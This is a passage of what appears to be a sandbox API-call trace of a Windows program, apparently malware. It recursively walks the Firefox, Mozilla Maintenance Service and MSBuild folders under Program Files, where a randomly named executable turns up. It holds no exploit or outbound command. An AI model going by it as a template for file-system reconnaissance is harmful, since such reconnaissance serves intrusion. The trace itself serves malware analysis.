Firefox\\softokn3.dll") returned 51 [0031.567] lstrcpyW (in: lpString1=0x25e49b8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0031.567] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.568] lstrcmpW (lpString1="uninstall", lpString2=".") returned 1 [0031.568] lstrcmpW (lpString1="uninstall", lpString2="..") returned 1 [0031.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.568] lstrlenW (lpString="uninstall") returned 9 [0031.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="uninstall" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall" [0031.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\" [0031.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0031.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*" [0031.568] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.568] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.568] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.568] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.568] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.568] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.568] lstrcmpW (lpString1="helper.exe", lpString2=".") returned 1 [0031.568] lstrcmpW (lpString1="helper.exe", lpString2="..") returned 1 [0031.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0031.568] lstrlenW (lpString="helper.exe") returned 10 [0031.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0031.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned 59 [0031.568] lstrcpyW (in: lpString1=0x25e5780, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0031.568] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.568] lstrcmpW (lpString1="shortcuts_log.ini", lpString2=".") returned 1 [0031.568] lstrcmpW (lpString1="shortcuts_log.ini", lpString2="..") returned 1 [0031.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0031.568] lstrlenW (lpString="shortcuts_log.ini") returned 17 [0031.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0031.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned 66 [0031.568] lstrcpyW (in: lpString1=0x25e5800, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0031.568] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.568] lstrcmpW (lpString1="uninstall.log", lpString2=".") returned 1 [0031.568] lstrcmpW (lpString1="uninstall.log", lpString2="..") returned 1 [0031.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0031.568] lstrlenW (lpString="uninstall.log") returned 13 [0031.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0031.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned 62 [0031.568] lstrcpyW (in: lpString1=0x25e22d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0031.568] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.568] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.568] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.568] lstrcmpW (lpString1="update-settings.ini", lpString2=".") returned 1 [0031.568] lstrcmpW (lpString1="update-settings.ini", lpString2="..") returned 1 [0031.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.568] lstrlenW (lpString="update-settings.ini") returned 19 [0031.568] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0031.568] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned 58 [0031.569] lstrcpyW (in: lpString1=0x25e5890, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0031.569] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.569] lstrcmpW (lpString1="updater.exe", lpString2=".") returned 1 [0031.569] lstrcmpW (lpString1="updater.exe", lpString2="..") returned 1 [0031.569] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.569] lstrlenW (lpString="updater.exe") returned 11 [0031.569] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0031.569] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned 50 [0031.569] lstrcpyW (in: lpString1=0x25e4a28, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0031.569] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.569] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0031.570] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0031.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.570] lstrlenW (lpString="updater.ini") returned 11 [0031.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0031.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned 50 [0031.570] lstrcpyW (in: lpString1=0x25e4a98, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0031.570] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.570] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2=".") returned 1 [0031.570] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2="..") returned 1 [0031.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.570] lstrlenW (lpString="webapp-uninstaller.exe") returned 22 [0031.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0031.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned 61 [0031.570] lstrcpyW (in: lpString1=0x25e2358, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0031.570] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.570] lstrcmpW (lpString1="webapprt", lpString2=".") returned 1 [0031.570] lstrcmpW (lpString1="webapprt", lpString2="..") returned 1 [0031.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.570] lstrlenW (lpString="webapprt") returned 8 [0031.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt" [0031.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\" [0031.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0031.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*" [0031.570] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.570] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.570] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.570] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.570] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.570] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.570] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0031.570] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0031.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0031.570] lstrlenW (lpString="omni.ja") returned 7 [0031.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0031.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned 55 [0031.570] lstrcpyW (in: lpString1=0x25e0ab0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0031.570] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.570] lstrcmpW (lpString1="webapprt.ini", lpString2=".") returned 1 [0031.570] lstrcmpW (lpString1="webapprt.ini", lpString2="..") returned 1 [0031.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0031.570] lstrlenW (lpString="webapprt.ini") returned 12 [0031.570] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0031.570] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned 60 [0031.570] lstrcpyW (in: lpString1=0x25e23e0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0031.570] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.570] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.571] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.571] lstrcmpW (lpString1="webapprt-stub.exe", lpString2=".") returned 1 [0031.571] lstrcmpW (lpString1="webapprt-stub.exe", lpString2="..") returned 1 [0031.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.571] lstrlenW (lpString="webapprt-stub.exe") returned 17 [0031.571] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0031.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned 56 [0031.571] lstrcpyW (in: lpString1=0x25e5910, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0031.571] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.571] lstrcmpW (lpString1="xul.dll", lpString2=".") returned 1 [0031.571] lstrcmpW (lpString1="xul.dll", lpString2="..") returned 1 [0031.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.571] lstrlenW (lpString="xul.dll") returned 7 [0031.571] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0031.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned 46 [0031.571] lstrcpyW (in: lpString1=0x25e5990, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0031.571] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.571] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.571] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.571] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2=".") returned 1 [0031.571] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2="..") returned 1 [0031.571] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.571] lstrlenW (lpString="Mozilla Maintenance Service") returned 27 [0031.571] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Maintenance Service" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service" [0031.571] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\" [0031.571] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0031.571] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*" [0031.571] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.572] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.572] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.572] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.572] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.572] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.572] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0031.572] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0031.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0031.572] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0031.572] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0031.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned 73 [0031.572] lstrcpyW (in: lpString1=0x25e59f8, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0031.572] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.572] lstrcmpW (lpString1="Uninstall.exe", lpString2=".") returned 1 [0031.572] lstrcmpW (lpString1="Uninstall.exe", lpString2="..") returned 1 [0031.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0031.572] lstrlenW (lpString="Uninstall.exe") returned 13 [0031.572] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0031.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned 64 [0031.572] lstrcpyW (in: lpString1=0x25e5a98, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0031.572] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.572] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0031.572] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0031.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0031.572] lstrlenW (lpString="updater.ini") returned 11 [0031.572] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0031.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned 62 [0031.572] lstrcpyW (in: lpString1=0x25e2468, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0031.572] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.572] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.572] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.573] lstrcmpW (lpString1="MSBuild", lpString2=".") returned 1 [0031.573] lstrcmpW (lpString1="MSBuild", lpString2="..") returned 1 [0031.573] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.573] lstrlenW (lpString="MSBuild") returned 7 [0031.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="MSBuild" | out: lpString1="c:\\Program Files (x86)\\MSBuild") returned="c:\\Program Files (x86)\\MSBuild" [0031.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\") returned="c:\\Program Files (x86)\\MSBuild\\" [0031.573] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0031.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\*") returned="c:\\Program Files (x86)\\MSBuild\\*" [0031.573] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.573] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.573] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.573] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.573] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.573] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.573] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2=".") returned 1 [0031.573] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2="..") returned 1 [0031.573] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0031.573] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0031.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0031.573] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned 59 [0031.573] lstrcpyW (in: lpString1=0x25e5b40, lpString2="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0031.573] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.573] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0031.573] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0031.573] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0031.573] lstrlenW (lpString="Microsoft") returned 9 [0031.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft" [0031.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\" [0031.573] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0031.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*" [0031.573] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.573] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.573] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.573] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.573] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.573] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.573] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2=".") returned 1 [0031.573] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2="..") returned 1 [0031.573] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0031.573] lstrlenW (lpString="Windows Workflow Foundation") returned 27 [0031.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="Windows Workflow Foundation" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0031.573] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.574] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.574] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.574] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.574] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.574] lstrcmpW (lpString1="Reference Assemblies", lpString2=".") returned 1 [0031.574] lstrcmpW (lpString1="Reference Assemblies", lpString2="..") returned 1 [0031.574] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.574] lstrlenW (lpString="Reference Assemblies") returned 20 [0031.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Reference Assemblies" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies") returned="c:\\Program Files (x86)\\Reference Assemblies" [0031.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\" [0031.574] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0031.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\*") 